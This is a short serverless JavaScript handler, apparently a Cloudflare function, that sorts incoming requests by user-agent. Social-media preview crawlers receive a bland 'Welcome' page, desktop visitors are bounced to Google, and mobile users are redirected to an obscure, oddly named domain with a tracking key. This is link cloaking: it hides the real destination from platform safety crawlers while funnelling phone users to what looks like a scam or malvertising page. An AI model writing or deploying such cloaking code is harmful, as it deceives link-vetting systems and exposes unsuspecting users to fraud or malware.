export async function onRequest(context) {
const request = context.request;
const userAgent = request.headers.get('user-agent') || '';
// 1. Check for Social Media Crawlers / Bots
const isSocialBot = /facebookexternalhit|Facebot|Twitterbot|Pinterest|LinkedInBot|WhatsApp|TelegramBot/i.test(userAgent);
if (isSocialBot) {
const htmlContent = `
Welcome
`;
return new Response(htmlContent, {
headers: { 'content-type': 'text/html;charset=UTF-8' },
});
}
// 2. Check for Mobile Users
const isMobile = /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(userAgent);
if (isMobile) {
return Response.redirect("https://softwareinvadedhurtful.com/kcku70sv?key=1d9c61e3b0239b2001fedfb8a1614143", 302);
} else {
return Response.redirect("https://www.google.com", 302);
}
}